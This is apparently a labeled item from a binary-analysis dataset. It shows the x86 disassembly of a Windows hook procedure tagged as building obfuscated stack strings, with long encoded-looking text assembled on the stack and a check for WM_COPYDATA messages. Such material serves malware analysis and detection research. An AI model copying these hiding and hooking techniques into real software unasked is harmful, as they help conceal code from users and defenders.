Function at 0x1041ce57
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xddc
mov eax, 0x1044cc9e
call fcn.1041e4a8
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.10420d30
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.10412cb0
push eax
lea ecx, [ebp - 0xc80]
call fcn.1040fcbc
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1041d382
cmp dword [edi + 8], 0x4a
jne 0x1041d382
mov esi, dword [edi]
test esi, esi
je 0x1041d382
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1041d374
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
mov ecx, 0x30a
mov dword [ebp - 0xdd8], 0x6f636a4d
rep movsd dword es:[edi], dword [esi]
push 0x64
pop eax
mov dword [ebp - 0xdd4], 0x314d3244
movsw word es:[edi], word [esi]
mov dword [ebp - 0xdd0], 0x78636e48
mov dword [ebp - 0xdcc], 0x394d3245
mov dword [ebp - 0xdc8], 0x3973694f
mov dword [ebp - 0xdc4], 0x584d7750
mov dword [ebp - 0xdc0], 0x674d524e
mov dword [ebp - 0xdbc], 0x7634674a
mov dword [ebp - 0xdb8], 0x756b6741
mov dword [ebp - 0xdb4], 0x52417848
mov dword [ebp - 0xdb0], 0x7255434f
mov dword [ebp - 0xdac], 0x75384261
mov dword [ebp - 0xda8], 0x7845574a
mov dword [ebp - 0xda4], 0x6d676750
mov dword [ebp - 0xda0], 0x5238334b
mov dword [ebp - 0xd9c], 0x7039434a
mov byte [ebp - 0xd98], al
mov dword [ebp - 0xd97], 0x66344169
mov dword [ebp - 0xd93], 0x46774158
mov dword [ebp - 0xd8f], 0x49333879
mov dword [ebp - 0xd8b], 0x4e794577
mov dword [ebp - 0xd87], 0x48765a68
mov dword [ebp - 0xd83], 0x46557347
mov dword [ebp - 0xd7f], 0x66466378
mov dword [ebp - 0xd7b], 0x4e434948
mov dword [ebp - 0xd77], 0x4d526341
mov dword [ebp - 0xd73], 0x506e4942
mov dword [ebp - 0xd6f], 0x506f736d
mov dword [ebp - 0xd6b], 0x6266496a
mov dword [ebp - 0xd67], 0x4830566e
mov dword [ebp - 0xd63], 0x4a495952
mov dword [ebp - 0xd5f], 0x4d736851
mov dword [ebp - 0xd5b], 0x63654553
mov word [ebp - 0xd57], 0x4d68
mov byte [ebp - 0xd55], al
mov dword [ebp - 0xd54], 0x46636a46
mov dword [ebp - 0xd50], 0x2f305142
mov dword [ebp - 0xd4c], 0x5a594850
mov dword [ebp - 0xd48], 0x6b705743
mov dword [ebp - 0xd44], 0x44636e42
mov dword [ebp - 0xd40], 0x43415250
mov dword [ebp - 0xd3c], 0x73496e46
mov dword [ebp - 0xd38], 0x77554342
mov dword [ebp - 0xd34], 0x7338794f
mov dword [ebp - 0xd30], 0x6d636a4e
mov dword [ebp - 0xd2c], 0x34454841
mov dword [ebp - 0xd28], 0x4573444c
mov dword [ebp - 0xd24], 0x6c4a7a59
mov dword [ebp - 0xd20], 0x69306845
mov dword [ebp - 0xd1c], 0x2f554143
mov dword [ebp - 0xd18], 0x334e524e
mov dword [ebp - 0xd14], 0x73597a65
mov dword [ebp - 0xd10], 0x6741694d
mov dword [ebp - 0xd0c], 0x486f6746
mov dword [ebp - 0xd08], 0x474d7744
mov dword [ebp - 0xd04], 0x5973414e
mov dword [ebp - 0xd00], 0x7739414d
mov dword [ebp - 0xcfc], 0x6a385259
mov dword [ebp - 0xcf8], 0x6330424e
mov dword [ebp - 0xcf4], 0x39456747
mov dword [ebp - 0xcf0], 0x44635162
mov byte [ebp - 0xcec], al
mov dword [ebp - 0xceb], 0x4f684542
mov dword [ebp - 0xce7], 0x4d435157
mov dword [ebp - 0xce3], 0x424e6358
mov word [ebp - 0xcdf], 0x5577
mov byte [ebp - 0xcdd], al
mov dword [ebp - 0xcdc], 0x71517847
mov dword [ebp - 0xcd8], 0x75554142
mov dword [ebp - 0xcd4], 0x68466e50
mov byte [ebp - 0xcd0], al
mov dword [ebp - 0xccf], 0x47544168
mov dword [ebp - 0xccb], 0x48345944
mov dword [ebp - 0xcc7], 0x4772776a
lea eax, [ebp - 0xb53]
mov byte [ebp - 0xc84], bl
push eax
lea eax, [ebp - 0xc7c]
mov dword [ebp - 0xcc3], 0x50385267
push eax
lea eax, [ebp - 0xc57]
mov dword [ebp - 0xcbf], 0x47574968
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xcbb], 0x427a4d52
mov ecx, esp
mov dword [ebp - 0xcb7], 0x41364167
lea eax, [ebp - 0xc85]
mov dword [ebp - 0xcb3], 0x4b577753
mov dword [ebp - 0xcaf], 0x62313442
push dword [ebp - 0xc84]
mov dword [ebp - 0xcab], 0x506b4e79
push eax
mov dword [ebp - 0xca7], 0x59447347
lea eax, [ebp - 0xdd8]
mov dword [ebp - 0xca3], 0x4e375a33
mov dword [ebp - 0xc9f], 0x50765944
mov dword [ebp - 0xc9b], 0x41433433
mov dword [ebp - 0xc97], 0x4f704944
mov dword [ebp - 0xc93], 0x4e7a4153
mov dword [ebp - 0xc8f], 0x41335641
mov dword [ebp - 0xc8b], 0x41414177
mov word [ebp - 0xc87], 0x344f
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1040f456
lea eax, [ebp - 0xde8]
push eax
call fcn.104122f6
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1041baac
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.1041279f
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xde8]
call fcn.1041b8f2
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.10420d30
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.1040fe35
lea ecx, [ebp - 0x50]
call fcn.1040ff04
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.10410dc3
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10410dc3
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.10410dc3
lea eax, [ebp - 0x50]
push eax
push ecx
mov esi, dword [ebp - 0xc80]
mov ecx, esp
mov dword [ebp - 0xc84], esp
push esi
call fcn.1040fe35
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.1040fda7
mov byte [ebp - 4], 3
call fcn.10417a9b
add esp, 0xc
call fcn.10428aca
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1041d367
lea eax, [ebp - 0x50]
push eax
call fcn.10416682
pop ecx
lea ecx, [ebp - 0x50]
call fcn.10410a4d
lea ecx, [esi - 0x10]
jmp 0x1041d399
cmp eax, 0x4d835
jne 0x1041d382
push ebx
call fcn.1041a4f3
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.10416360
call fcn.1041e3f5
ret 0xc